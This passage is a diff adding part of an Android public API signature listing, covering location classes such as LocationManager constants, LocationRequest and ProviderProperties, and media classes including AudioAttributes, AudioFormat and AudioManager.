+    field public static final String FUSED_PROVIDER = "fused";
+    field public static final String GPS_PROVIDER = "gps";
+    field public static final String KEY_FLUSH_COMPLETE = "flushComplete";
+    field public static final String KEY_LOCATIONS = "locations";
+    field public static final String KEY_LOCATION_CHANGED = "location";
+    field public static final String KEY_PROVIDER_ENABLED = "providerEnabled";
+    field public static final String KEY_PROXIMITY_ENTERING = "entering";
+    field @Deprecated public static final String KEY_STATUS_CHANGED = "status";
+    field public static final String MODE_CHANGED_ACTION = "android.location.MODE_CHANGED";
+    field public static final String NETWORK_PROVIDER = "network";
+    field public static final String PASSIVE_PROVIDER = "passive";
+    field public static final String PROVIDERS_CHANGED_ACTION = "android.location.PROVIDERS_CHANGED";
+  }
+
+  @Deprecated public class LocationProvider {
+    method @Deprecated public int getAccuracy();
+    method @Deprecated public String getName();
+    method @Deprecated public int getPowerRequirement();
+    method @Deprecated public boolean hasMonetaryCost();
+    method @Deprecated public boolean meetsCriteria(android.location.Criteria);
+    method @Deprecated public boolean requiresCell();
+    method @Deprecated public boolean requiresNetwork();
+    method @Deprecated public boolean requiresSatellite();
+    method @Deprecated public boolean supportsAltitude();
+    method @Deprecated public boolean supportsBearing();
+    method @Deprecated public boolean supportsSpeed();
+    field @Deprecated public static final int AVAILABLE = 2; // 0x2
+    field @Deprecated public static final int OUT_OF_SERVICE = 0; // 0x0
+    field @Deprecated public static final int TEMPORARILY_UNAVAILABLE = 1; // 0x1
+  }
+
+  public final class LocationRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=1) public long getDurationMillis();
+    method @IntRange(from=0) public long getIntervalMillis();
+    method @IntRange(from=0) public long getMaxUpdateDelayMillis();
+    method @IntRange(from=1, to=java.lang.Integer.MAX_VALUE) public int getMaxUpdates();
+    method @FloatRange(from=0, to=java.lang.Float.MAX_VALUE) public float getMinUpdateDistanceMeters();
+    method @IntRange(from=0) public long getMinUpdateIntervalMillis();
+    method public int getQuality();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.LocationRequest> CREATOR;
+    field public static final long PASSIVE_INTERVAL = 9223372036854775807L; // 0x7fffffffffffffffL
+    field public static final int QUALITY_BALANCED_POWER_ACCURACY = 102; // 0x66
+    field public static final int QUALITY_HIGH_ACCURACY = 100; // 0x64
+    field public static final int QUALITY_LOW_POWER = 104; // 0x68
+  }
+
+  public static final class LocationRequest.Builder {
+    ctor public LocationRequest.Builder(long);
+    ctor public LocationRequest.Builder(@NonNull android.location.LocationRequest);
+    method @NonNull public android.location.LocationRequest build();
+    method @NonNull public android.location.LocationRequest.Builder clearMinUpdateIntervalMillis();
+    method @NonNull public android.location.LocationRequest.Builder setDurationMillis(@IntRange(from=1) long);
+    method @NonNull public android.location.LocationRequest.Builder setIntervalMillis(@IntRange(from=0) long);
+    method @NonNull public android.location.LocationRequest.Builder setMaxUpdateDelayMillis(@IntRange(from=0) long);
+    method @NonNull public android.location.LocationRequest.Builder setMaxUpdates(@IntRange(from=1, to=java.lang.Integer.MAX_VALUE) int);
+    method @NonNull public android.location.LocationRequest.Builder setMinUpdateDistanceMeters(@FloatRange(from=0, to=java.lang.Float.MAX_VALUE) float);
+    method @NonNull public android.location.LocationRequest.Builder setMinUpdateIntervalMillis(@IntRange(from=0) long);
+    method @NonNull public android.location.LocationRequest.Builder setQuality(int);
+  }
+
+  public interface OnNmeaMessageListener {
+    method public void onNmeaMessage(String, long);
+  }
+
+  public abstract class SettingInjectorService extends android.app.Service {
+    ctor public SettingInjectorService(String);
+    method public final android.os.IBinder onBind(android.content.Intent);
+    method protected abstract boolean onGetEnabled();
+    method protected abstract String onGetSummary();
+    method public final void onStart(android.content.Intent, int);
+    method public final int onStartCommand(android.content.Intent, int, int);
+    method public static final void refreshSettings(@NonNull android.content.Context);
+    field public static final String ACTION_INJECTED_SETTING_CHANGED = "android.location.InjectedSettingChanged";
+    field public static final String ACTION_SERVICE_INTENT = "android.location.SettingInjectorService";
+    field public static final String ATTRIBUTES_NAME = "injected-location-setting";
+    field public static final String META_DATA_NAME = "android.location.SettingInjectorService";
+  }
+
+}
+
+package android.location.provider {
+
+  public final class ProviderProperties implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAccuracy();
+    method public int getPowerUsage();
+    method public boolean hasAltitudeSupport();
+    method public boolean hasBearingSupport();
+    method public boolean hasCellRequirement();
+    method public boolean hasMonetaryCost();
+    method public boolean hasNetworkRequirement();
+    method public boolean hasSatelliteRequirement();
+    method public boolean hasSpeedSupport();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int ACCURACY_COARSE = 2; // 0x2
+    field public static final int ACCURACY_FINE = 1; // 0x1
+    field @NonNull public static final android.os.Parcelable.Creator<android.location.provider.ProviderProperties> CREATOR;
+    field public static final int POWER_USAGE_HIGH = 3; // 0x3
+    field public static final int POWER_USAGE_LOW = 1; // 0x1
+    field public static final int POWER_USAGE_MEDIUM = 2; // 0x2
+  }
+
+  public static final class ProviderProperties.Builder {
+    ctor public ProviderProperties.Builder();
+    ctor public ProviderProperties.Builder(@NonNull android.location.provider.ProviderProperties);
+    method @NonNull public android.location.provider.ProviderProperties build();
+    method @NonNull public android.location.provider.ProviderProperties.Builder setAccuracy(int);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setHasAltitudeSupport(boolean);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setHasBearingSupport(boolean);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setHasCellRequirement(boolean);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setHasMonetaryCost(boolean);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setHasNetworkRequirement(boolean);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setHasSatelliteRequirement(boolean);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setHasSpeedSupport(boolean);
+    method @NonNull public android.location.provider.ProviderProperties.Builder setPowerUsage(int);
+  }
+
+}
+
+package android.media {
+
+  public class AsyncPlayer {
+    ctor public AsyncPlayer(String);
+    method @Deprecated public void play(android.content.Context, android.net.Uri, boolean, int);
+    method public void play(@NonNull android.content.Context, @NonNull android.net.Uri, boolean, @NonNull android.media.AudioAttributes) throws java.lang.IllegalArgumentException;
+    method public void stop();
+  }
+
+  public final class AudioAttributes implements android.os.Parcelable {
+    method public boolean areHapticChannelsMuted();
+    method public int describeContents();
+    method public int getAllowedCapturePolicy();
+    method public int getContentType();
+    method public int getFlags();
+    method public int getUsage();
+    method public int getVolumeControlStream();
+    method public void writeToParcel(android.os.Parcel, int);
+    field public static final int ALLOW_CAPTURE_BY_ALL = 1; // 0x1
+    field public static final int ALLOW_CAPTURE_BY_NONE = 3; // 0x3
+    field public static final int ALLOW_CAPTURE_BY_SYSTEM = 2; // 0x2
+    field public static final int CONTENT_TYPE_MOVIE = 3; // 0x3
+    field public static final int CONTENT_TYPE_MUSIC = 2; // 0x2
+    field public static final int CONTENT_TYPE_SONIFICATION = 4; // 0x4
+    field public static final int CONTENT_TYPE_SPEECH = 1; // 0x1
+    field public static final int CONTENT_TYPE_UNKNOWN = 0; // 0x0
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.AudioAttributes> CREATOR;
+    field public static final int FLAG_AUDIBILITY_ENFORCED = 1; // 0x1
+    field public static final int FLAG_HW_AV_SYNC = 16; // 0x10
+    field @Deprecated public static final int FLAG_LOW_LATENCY = 256; // 0x100
+    field public static final int USAGE_ALARM = 4; // 0x4
+    field public static final int USAGE_ASSISTANCE_ACCESSIBILITY = 11; // 0xb
+    field public static final int USAGE_ASSISTANCE_NAVIGATION_GUIDANCE = 12; // 0xc
+    field public static final int USAGE_ASSISTANCE_SONIFICATION = 13; // 0xd
+    field public static final int USAGE_ASSISTANT = 16; // 0x10
+    field public static final int USAGE_GAME = 14; // 0xe
+    field public static final int USAGE_MEDIA = 1; // 0x1
+    field public static final int USAGE_NOTIFICATION = 5; // 0x5
+    field public static final int USAGE_NOTIFICATION_COMMUNICATION_DELAYED = 9; // 0x9
+    field public static final int USAGE_NOTIFICATION_COMMUNICATION_INSTANT = 8; // 0x8
+    field public static final int USAGE_NOTIFICATION_COMMUNICATION_REQUEST = 7; // 0x7
+    field public static final int USAGE_NOTIFICATION_EVENT = 10; // 0xa
+    field public static final int USAGE_NOTIFICATION_RINGTONE = 6; // 0x6
+    field public static final int USAGE_UNKNOWN = 0; // 0x0
+    field public static final int USAGE_VOICE_COMMUNICATION = 2; // 0x2
+    field public static final int USAGE_VOICE_COMMUNICATION_SIGNALLING = 3; // 0x3
+  }
+
+  public static class AudioAttributes.Builder {
+    ctor public AudioAttributes.Builder();
+    ctor public AudioAttributes.Builder(android.media.AudioAttributes);
+    method public android.media.AudioAttributes build();
+    method @NonNull public android.media.AudioAttributes.Builder setAllowedCapturePolicy(int);
+    method public android.media.AudioAttributes.Builder setContentType(int);
+    method public android.media.AudioAttributes.Builder setFlags(int);
+    method @NonNull public android.media.AudioAttributes.Builder setHapticChannelsMuted(boolean);
+    method public android.media.AudioAttributes.Builder setLegacyStreamType(int);
+    method public android.media.AudioAttributes.Builder setUsage(int);
+  }
+
+  public class AudioDescriptor {
+    method @NonNull public byte[] getDescriptor();
+    method public int getEncapsulationType();
+    method public int getStandard();
+    field public static final int STANDARD_EDID = 1; // 0x1
+    field public static final int STANDARD_NONE = 0; // 0x0
+  }
+
+  public abstract class AudioDeviceCallback {
+    ctor public AudioDeviceCallback();
+    method public void onAudioDevicesAdded(android.media.AudioDeviceInfo[]);
+    method public void onAudioDevicesRemoved(android.media.AudioDeviceInfo[]);
+  }
+
+  public final class AudioDeviceInfo {
+    method @NonNull public String getAddress();
+    method @NonNull public java.util.List<android.media.AudioDescriptor> getAudioDescriptors();
+    method @NonNull public java.util.List<android.media.AudioProfile> getAudioProfiles();
+    method @NonNull public int[] getChannelCounts();
+    method @NonNull public int[] getChannelIndexMasks();
+    method @NonNull public int[] getChannelMasks();
+    method @NonNull public int[] getEncapsulationMetadataTypes();
+    method @NonNull public int[] getEncapsulationModes();
+    method @NonNull public int[] getEncodings();
+    method public int getId();
+    method public CharSequence getProductName();
+    method @NonNull public int[] getSampleRates();
+    method public int getType();
+    method public boolean isSink();
+    method public boolean isSource();
+    field public static final int TYPE_AUX_LINE = 19; // 0x13
+    field public static final int TYPE_BLE_HEADSET = 26; // 0x1a
+    field public static final int TYPE_BLE_SPEAKER = 27; // 0x1b
+    field public static final int TYPE_BLUETOOTH_A2DP = 8; // 0x8
+    field public static final int TYPE_BLUETOOTH_SCO = 7; // 0x7
+    field public static final int TYPE_BUILTIN_EARPIECE = 1; // 0x1
+    field public static final int TYPE_BUILTIN_MIC = 15; // 0xf
+    field public static final int TYPE_BUILTIN_SPEAKER = 2; // 0x2
+    field public static final int TYPE_BUILTIN_SPEAKER_SAFE = 24; // 0x18
+    field public static final int TYPE_BUS = 21; // 0x15
+    field public static final int TYPE_DOCK = 13; // 0xd
+    field public static final int TYPE_FM = 14; // 0xe
+    field public static final int TYPE_FM_TUNER = 16; // 0x10
+    field public static final int TYPE_HDMI = 9; // 0x9
+    field public static final int TYPE_HDMI_ARC = 10; // 0xa
+    field public static final int TYPE_HDMI_EARC = 29; // 0x1d
+    field public static final int TYPE_HEARING_AID = 23; // 0x17
+    field public static final int TYPE_IP = 20; // 0x14
+    field public static final int TYPE_LINE_ANALOG = 5; // 0x5
+    field public static final int TYPE_LINE_DIGITAL = 6; // 0x6
+    field public static final int TYPE_REMOTE_SUBMIX = 25; // 0x19
+    field public static final int TYPE_TELEPHONY = 18; // 0x12
+    field public static final int TYPE_TV_TUNER = 17; // 0x11
+    field public static final int TYPE_UNKNOWN = 0; // 0x0
+    field public static final int TYPE_USB_ACCESSORY = 12; // 0xc
+    field public static final int TYPE_USB_DEVICE = 11; // 0xb
+    field public static final int TYPE_USB_HEADSET = 22; // 0x16
+    field public static final int TYPE_WIRED_HEADPHONES = 4; // 0x4
+    field public static final int TYPE_WIRED_HEADSET = 3; // 0x3
+  }
+
+  public final class AudioFocusRequest {
+    method public boolean acceptsDelayedFocusGain();
+    method @NonNull public android.media.AudioAttributes getAudioAttributes();
+    method public int getFocusGain();
+    method public boolean willPauseWhenDucked();
+  }
+
+  public static final class AudioFocusRequest.Builder {
+    ctor public AudioFocusRequest.Builder(int);
+    ctor public AudioFocusRequest.Builder(@NonNull android.media.AudioFocusRequest);
+    method public android.media.AudioFocusRequest build();
+    method @NonNull public android.media.AudioFocusRequest.Builder setAcceptsDelayedFocusGain(boolean);
+    method @NonNull public android.media.AudioFocusRequest.Builder setAudioAttributes(@NonNull android.media.AudioAttributes);
+    method @NonNull public android.media.AudioFocusRequest.Builder setFocusGain(int);
+    method @NonNull public android.media.AudioFocusRequest.Builder setForceDucking(boolean);
+    method @NonNull public android.media.AudioFocusRequest.Builder setOnAudioFocusChangeListener(@NonNull android.media.AudioManager.OnAudioFocusChangeListener);
+    method @NonNull public android.media.AudioFocusRequest.Builder setOnAudioFocusChangeListener(@NonNull android.media.AudioManager.OnAudioFocusChangeListener, @NonNull android.os.Handler);
+    method @NonNull public android.media.AudioFocusRequest.Builder setWillPauseWhenDucked(boolean);
+  }
+
+  public final class AudioFormat implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getChannelCount();
+    method public int getChannelIndexMask();
+    method public int getChannelMask();
+    method public int getEncoding();
+    method @IntRange(from=1) public int getFrameSizeInBytes();
+    method public int getSampleRate();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated public static final int CHANNEL_CONFIGURATION_DEFAULT = 1; // 0x1
+    field @Deprecated public static final int CHANNEL_CONFIGURATION_INVALID = 0; // 0x0
+    field @Deprecated public static final int CHANNEL_CONFIGURATION_MONO = 2; // 0x2
+    field @Deprecated public static final int CHANNEL_CONFIGURATION_STEREO = 3; // 0x3
+    field public static final int CHANNEL_INVALID = 0; // 0x0
+    field public static final int CHANNEL_IN_BACK = 32; // 0x20
+    field public static final int CHANNEL_IN_BACK_PROCESSED = 512; // 0x200
+    field public static final int CHANNEL_IN_DEFAULT = 1; // 0x1
+    field public static final int CHANNEL_IN_FRONT = 16; // 0x10
+    field public static final int CHANNEL_IN_FRONT_PROCESSED = 256; // 0x100
+    field public static final int CHANNEL_IN_LEFT = 4; // 0x4
+    field public static final int CHANNEL_IN_LEFT_PROCESSED = 64; // 0x40
+    field public static final int CHANNEL_IN_MONO = 16; // 0x10
+    field public static final int CHANNEL_IN_PRESSURE = 1024; // 0x400
+    field public static final int CHANNEL_IN_RIGHT = 8; // 0x8
+    field public static final int CHANNEL_IN_RIGHT_PROCESSED = 128; // 0x80
+    field public static final int CHANNEL_IN_STEREO = 12; // 0xc
+    field public static final int CHANNEL_IN_VOICE_DNLINK = 32768; // 0x8000
+    field public static final int CHANNEL_IN_VOICE_UPLINK = 16384; // 0x4000
+    field public static final int CHANNEL_IN_X_AXIS = 2048; // 0x800
+    field public static final int CHANNEL_IN_Y_AXIS = 4096; // 0x1000
+    field public static final int CHANNEL_IN_Z_AXIS = 8192; // 0x2000
+    field public static final int CHANNEL_OUT_5POINT1 = 252; // 0xfc
+    field @Deprecated public static final int CHANNEL_OUT_7POINT1 = 1020; // 0x3fc
+    field public static final int CHANNEL_OUT_7POINT1_SURROUND = 6396; // 0x18fc
+    field public static final int CHANNEL_OUT_BACK_CENTER = 1024; // 0x400
+    field public static final int CHANNEL_OUT_BACK_LEFT = 64; // 0x40
+    field public static final int CHANNEL_OUT_BACK_RIGHT = 128; // 0x80
+    field public static final int CHANNEL_OUT_DEFAULT = 1; // 0x1
+    field public static final int CHANNEL_OUT_FRONT_CENTER = 16; // 0x10
+    field public static final int CHANNEL_OUT_FRONT_LEFT = 4; // 0x4
+    field public static final int CHANNEL_OUT_FRONT_LEFT_OF_CENTER = 256; // 0x100
+    field public static final int CHANNEL_OUT_FRONT_RIGHT = 8; // 0x8
+    field public static final int CHANNEL_OUT_FRONT_RIGHT_OF_CENTER = 512; // 0x200
+    field public static final int CHANNEL_OUT_LOW_FREQUENCY = 32; // 0x20
+    field public static final int CHANNEL_OUT_MONO = 4; // 0x4
+    field public static final int CHANNEL_OUT_QUAD = 204; // 0xcc
+    field public static final int CHANNEL_OUT_SIDE_LEFT = 2048; // 0x800
+    field public static final int CHANNEL_OUT_SIDE_RIGHT = 4096; // 0x1000
+    field public static final int CHANNEL_OUT_STEREO = 12; // 0xc
+    field public static final int CHANNEL_OUT_SURROUND = 1052; // 0x41c
+    field @NonNull public static final android.os.Parcelable.Creator<android.media.AudioFormat> CREATOR;
+    field public static final int ENCODING_AAC_ELD = 15; // 0xf
+    field public static final int ENCODING_AAC_HE_V1 = 11; // 0xb
+    field public static final int ENCODING_AAC_HE_V2 = 12; // 0xc
+    field public static final int ENCODING_AAC_LC = 10; // 0xa
+    field public static final int ENCODING_AAC_XHE = 16; // 0x10
+    field public static final int ENCODING_AC3 = 5; // 0x5
+    field public static final int ENCODING_AC4 = 17; // 0x11
+    field public static final int ENCODING_DEFAULT = 1; // 0x1
+    field public static final int ENCODING_DOLBY_MAT = 19; // 0x13
+    field public static final int ENCODING_DOLBY_TRUEHD = 14; // 0xe
+    field public static final int ENCODING_DRA = 28; // 0x1c
+    field public static final int ENCODING_DTS = 7; // 0x7
+    field public static final int ENCODING_DTS_HD = 8; // 0x8
+    field public static final int ENCODING_DTS_UHD = 27; // 0x1b
+    field public static final int ENCODING_E_AC3 = 6; // 0x6
+    field public static final int ENCODING_E_AC3_JOC = 18; // 0x12
+    field public static final int ENCODING_IEC61937 = 13; // 0xd
+    field public static final int ENCODING_INVALID = 0; // 0x0
+    field public static final int ENCODING_MP3 = 9; // 0x9
+    field public static final int ENCODING_MPEGH_BL_L3 = 23; // 0x17
+    field public static final int ENCODING_MPEGH_BL_L4 = 24; // 0x18
+    field public static final int ENCODING_MPEGH_LC_L3 = 25; // 0x19
+    field public static final int ENCODING_MPEGH_LC_L4 = 26; // 0x1a
+    field public static final int ENCODING_OPUS = 20; // 0x14
+    field public static final int ENCODING_PCM_16BIT = 2; // 0x2
+    field public static final int ENCODING_PCM_24BIT_PACKED = 21; // 0x15
+    field public static final int ENCODING_PCM_32BIT = 22; // 0x16
+    field public static final int ENCODING_PCM_8BIT = 3; // 0x3
+    field public static final int ENCODING_PCM_FLOAT = 4; // 0x4
+    field public static final int SAMPLE_RATE_UNSPECIFIED = 0; // 0x0
+  }
+
+  public static class AudioFormat.Builder {
+    ctor public AudioFormat.Builder();
+    ctor public AudioFormat.Builder(android.media.AudioFormat);
+    method public android.media.AudioFormat build();
+    method @NonNull public android.media.AudioFormat.Builder setChannelIndexMask(int);
+    method @NonNull public android.media.AudioFormat.Builder setChannelMask(int);
+    method public android.media.AudioFormat.Builder setEncoding(int) throws java.lang.IllegalArgumentException;
+    method public android.media.AudioFormat.Builder setSampleRate(int) throws java.lang.IllegalArgumentException;
+  }
+
+  public class AudioManager {
+    method @Deprecated public int abandonAudioFocus(android.media.AudioManager.OnAudioFocusChangeListener);
+    method public int abandonAudioFocusRequest(@NonNull android.media.AudioFocusRequest);
+    method public void addOnCommunicationDeviceChangedListener(@NonNull java.util.concurrent.Executor, @NonNull android.media.AudioManager.OnCommunicationDeviceChangedListener);
+    method public void addOnModeChangedListener(@NonNull java.util.concurrent.Executor, @NonNull android.media.AudioManager.OnModeChangedListener);
+    method public void adjustStreamVolume(int, int, int);
+    method public void adjustSuggestedStreamVolume(int, int, int);
+    method public void adjustVolume(int, int);
+    method public void clearCommunicationDevice();
+    method public void dispatchMediaKeyEvent(android.view.KeyEvent);
+    method public int generateAudioSessionId();
+    method @NonNull public java.util.List<android.media.AudioPlaybackConfiguration> getActivePlaybackConfigurations();
+    method @NonNull public java.util.List<android.media.AudioRecordingConfiguration> getActiveRecordingConfigurations();
+    method public int getAllowedCapturePolicy();
+    method public int getAudioHwSyncForSession(int);
+    method @NonNull public java.util.List<android.media.AudioDeviceInfo> getAvailableCommunicationDevices();
+    method @Nullable public android.media.AudioDeviceInfo getCommunicationDevice();
+    method public android.media.AudioDeviceInfo[] getDevices(int);
+    method public int getEncodedSurroundMode();
+    method public java.util.List<android.media.MicrophoneInfo> getMicrophones() throws java.io.IOException;
+    method public int getMode();
+    method public String getParameters(String);
+    method public static int getPlaybackOffloadSupport(@NonNull android.media.AudioFormat, @NonNull android.media.AudioAttributes);
+    method public String getProperty(String);
+    method public int getRingerMode();
+    method @Deprecated public int getRouting(int);
+    method public int getStreamMaxVolume(int);
+    method public int getStreamMinVolume(int);
+    method public int getStreamVolume(int);
+    method public float getStreamVolumeDb(int, int, int);
+    method @Deprecated public int getVibrateSetting(int);
+    method @Deprecated public boolean isBluetoothA2dpOn();
+    method public boolean isBluetoothScoAvailableOffCall();
+    method public boolean isBluetoothScoOn();
+    method public boolean isCallScreeningModeSupported();
+    method public static boolean isHapticPlaybackSupported();
+    method public boolean isMicrophoneMute();
+    method public boolean isMusicActive();
+    method public static boolean isOffloadedPlaybackSupported(@NonNull android.media.AudioFormat, @NonNull android.media.AudioAttributes);
+    method public boolean isSpeakerphoneOn();
+    method public boolean isStreamMute(int);
+    method public boolean isSurroundFormatEnabled(int);
+    method public boolean isVolumeFixed();
+    method @Deprecated public boolean isWiredHeadsetOn();
+    method public void loadSoundEffects();
+    method public void playSoundEffect(int);
+    method public void playSoundEffect(int, float);
+    method public void registerAudioDeviceCallback(android.media.AudioDeviceCallback, @Nullable android.os.Handler);
+    method public void registerAudioPlaybackCallback(@NonNull android.media.AudioManager.AudioPlaybackCallback, @Nullable android.os.Handler);
+    method public void registerAudioRecordingCallback(@NonNull android.media.AudioManager.AudioRecordingCallback, @Nullable android.os.Handler);
+    method @Deprecated public void registerMediaButtonEventReceiver(android.content.ComponentName);
+    method @Deprecated public void registerMediaButtonEventReceiver(android.app.PendingIntent);
+    method @Deprecated public void registerRemoteControlClient(android.media.RemoteControlClient);
+    method @Deprecated public boolean registerRemoteController(android.media.RemoteController);
+    method public void removeOnCommunicationDeviceChangedListener(@NonNull android.media.AudioManager.OnCommunicationDeviceChangedListener);
+    method public void removeOnModeChangedListener(@NonNull android.media.AudioManager.OnModeChangedListener);
+    method @Deprecated public int requestAudioFocus(android.media.AudioManager.OnAudioFocusChangeListener, int, int);
+    method public int requestAudioFocus(@NonNull android.media.AudioFocusRequest);
+    method public void setAllowedCapturePolicy(int);
+    method @Deprecated public void setBluetoothA2dpOn(boolean);
+    method public void setBluetoothScoOn(boolean);
+    method public boolean setCommunicationDevice(@NonNull android.media.AudioDeviceInfo);
+    method @RequiresPermission(android.Manifest.permission.WRITE_SETTINGS) public boolean setEncodedSurroundMode(int);
+    method public void setMicrophoneMute(boolean);
+    method public void setMode(int);
+    method public void setParameters(String);
+    method public void setRingerMode(int);
+    method @Deprecated public void setRouting(int, int, int);
+    method public void setSpeakerphoneOn(boolean);
+    method @Deprecated public void setStreamMute(int, boolean);
+    method @Deprecated public void setStreamSolo(int, boolean);
+    method public void setStreamVolume(int, int, int);
+    method @RequiresPermission(android.Manifest.permission.WRITE_SETTINGS) public boolean setSurroundFormatEnabled(int, boolean);
+    method @Deprecated public void setVibrateSetting(int, int);
+    method @Deprecated public void setWiredHeadsetOn(boolean);
+    method @Deprecated public boolean shouldVibrate(int);
+    method public void startBluetoothSco();
+    method public void stopBluetoothSco();
+    method public void unloadSoundEffects();
+    method public void unregisterAudioDeviceCallback(android.media.AudioDeviceCallback);
+    method public void unregisterAudioPlaybackCallback(@NonNull android.media.AudioManager.AudioPlaybackCallback);
+    method public void unregisterAudioRecordingCallback(@NonNull android.media.AudioManager.AudioRecordingCallback);
+    method @Deprecated public void unregisterMediaButtonEventReceiver(android.content.ComponentName);
+    method @Deprecated public void unregisterMediaButtonEventReceiver(android.app.PendingIntent);
+    method @Deprecated public void unregisterRemoteControlClient(android.media.RemoteControlClient);
+    method @Deprecated public void unregisterRemoteController(android.media.RemoteController);
+    field public static final String ACTION_AUDIO_BECOMING_NOISY = "android.media.AUDIO_BECOMING_NOISY";
+    field public static final String ACTION_HDMI_AUDIO_PLUG = "android.media.action.HDMI_AUDIO_PLUG";
+    field public static final String ACTION_HEADSET_PLUG = "android.intent.action.HEADSET_PLUG";
+    field public static final String ACTION_MICROPHONE_MUTE_CHANGED = "android.media.action.MICROPHONE_MUTE_CHANGED";
+    field @Deprecated public static final String ACTION_SCO_AUDIO_STATE_CHANGED = "android.media.SCO_AUDIO_STATE_CHANGED";
+    field public static final String ACTION_SCO_AUDIO_STATE_UPDATED = "android.media.ACTION_SCO_AUDIO_STATE_UPDATED";
+    field public static final String ACTION_SPEAKERPHONE_STATE_CHANGED = "android.media.action.SPEAKERPHONE_STATE_CHANGED";
+    field public static final int ADJUST_LOWER = -1; // 0xffffffff
+    field public static final int ADJUST_MUTE = -100; // 0xffffff9c
+    field public static final int ADJUST_RAISE = 1; // 0x1
+    field public static final int ADJUST_SAME = 0; // 0x0
+    field public static final int ADJUST_TOGGLE_MUTE = 101; // 0x65
+    field public static final int ADJUST_UNMUTE = 100; // 0x64
+    field public static final int AUDIOFOCUS_GAIN = 1; // 0x1
+    field public static final int AUDIOFOCUS_GAIN_TRANSIENT = 2; // 0x2
+    field public static final int AUDIOFOCUS_GAIN_TRANSIENT_EXCLUSIVE = 4; // 0x4
+    field public static final int AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK = 3; // 0x3
+    field public static final int AUDIOFOCUS_LOSS = -1; // 0xffffffff
+    field public static final int AUDIOFOCUS_LOSS_TRANSIENT = -2; // 0xfffffffe
+    field public static final int AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK = -3; // 0xfffffffd
+    field public static final int AUDIOFOCUS_NONE = 0; // 0x0
+    field public static final int AUDIOFOCUS_REQUEST_DELAYED = 2; // 0x2
+    field public static final int AUDIOFOCUS_REQUEST_FAILED = 0; // 0x0
+    field public static final int AUDIOFOCUS_REQUEST_GRANTED = 1; // 0x1
+    field public static final int AUDIO_SESSION_ID_GENERATE = 0; // 0x0
+    field public static final int ENCODED_SURROUND_OUTPUT_ALWAYS = 2; // 0x2
+    field public static final int ENCODED_SURROUND_OUTPUT_AUTO = 0; // 0x0
+    field public static final int ENCODED_SURROUND_OUTPUT_MANUAL = 3; // 0x3
+    field public static final int ENCODED_SURROUND_OUTPUT_NEVER = 1; // 0x1
+    field public static final int ENCODED_SURROUND_OUTPUT_UNKNOWN = -1; // 0xffffffff
+    field public static final int ERROR = -1; // 0xffffffff
+    field public static final int ERROR_DEAD_OBJECT = -6; // 0xfffffffa
+    field public static final String EXTRA_AUDIO_PLUG_STATE = "android.media.extra.AUDIO_PLUG_STATE";
+    field public static final String EXTRA_ENCODINGS = "android.media.extra.ENCODINGS";
+    field public static final String EXTRA_MAX_CHANNEL_COUNT = "android.media.extra.MAX_CHANNEL_COUNT";
+    field public static final String EXTRA_RINGER_MODE = "android.media.EXTRA_RINGER_MODE";
+    field public static final String EXTRA_SCO_AUDIO_PREVIOUS_STATE = "android.media.extra.SCO_AUDIO_PREVIOUS_STATE";
+    field public static final String EXTRA_SCO_AUDIO_STATE = "android.media.extra.SCO_AUDIO_STATE";
+    field @Deprecated public static final String EXTRA_VIBRATE_SETTING = "android.media.EXTRA_VIBRATE_SETTING";
+    field @Deprecated public static final String EXTRA_VIBRATE_TYPE = "android.media.EXTRA_VIBRATE_TYPE";
+    field public static final int FLAG_ALLOW_RINGER_MODES = 2; // 0x2
+    field public static final int FLAG_PLAY_SOUND = 4; // 0x4
+    field public static final int FLAG_REMOVE_SOUND_AND_VIBRATE = 8; // 0x8
+    field public static final int FLAG_SHOW_UI = 1; // 0x1
+    field public static final int FLAG_VIBRATE = 16; // 0x10
+    field public static final int FX_BACK = 10; // 0xa
+    field public static final int FX_FOCUS_NAVIGATION_DOWN = 2; // 0x2
+    field public static final int FX_FOCUS_NAVIGATION_LEFT = 3; // 0x3
+    field public static final int FX_FOCUS_NAVIGATION_RIGHT = 4; // 0x4
+    field public static final int FX_FOCUS_NAVIGATION_UP = 1; // 0x1
+    field public static final int FX_KEYPRESS_DELETE = 7; // 0x7
+    field public static final int FX_KEYPRESS_INVALID = 9; // 0x9
+    field public static final int FX_KEYPRESS_RETURN = 8; // 0x8
+    field public static final int FX_KEYPRESS_SPACEBAR = 6; // 0x6
+    field public static final int FX_KEYPRESS_STANDARD = 5; // 0x5
+    field public static final int FX_KEY_CLICK = 0; // 0x0
+    field public static final int GET_DEVICES_ALL = 3; // 0x3
+    field public static final int GET_DEVICES_INPUTS = 1; // 0x1
+    field public static final int GET_DEVICES_OUTPUTS = 2; // 0x2
+    field public static final int MODE_CALL_SCREENING = 4; // 0x4
+    field public static final int MODE_CURRENT = -1; // 0xffffffff
+    field public static final int MODE_INVALID = -2; // 0xfffffffe
+    field public static final int MODE_IN_CALL = 2; // 0x2
+    field public static final int MODE_IN_COMMUNICATION = 3; // 0x3
+    field public static final int MODE_NORMAL = 0; // 0x0
+    field public static final int MODE_RINGTONE = 1; // 0x1
+    field @Deprecated public static final int NUM_STREAMS = 5; // 0x5
+    field public static final int PLAYBACK_OFFLOAD_GAPLESS_SUPPORTED = 2; // 0x2
+    field public static final int PLAYBACK_OFFLOAD_NOT_SUPPORTED = 0; // 0x0
+    field public static final int PLAYBACK_OFFLOAD_SUPPORTED = 1; // 0x1
+    field public static final String PROPERTY_OUTPUT_FRAMES_PER_BUFFER = "android.media.property.OUTPUT_FRAMES_PER_BUFFER";
+    field public static final String PROPERTY_OUTPUT_SAMPLE_RATE = "android.media.property.OUTPUT_SAMPLE_RATE";
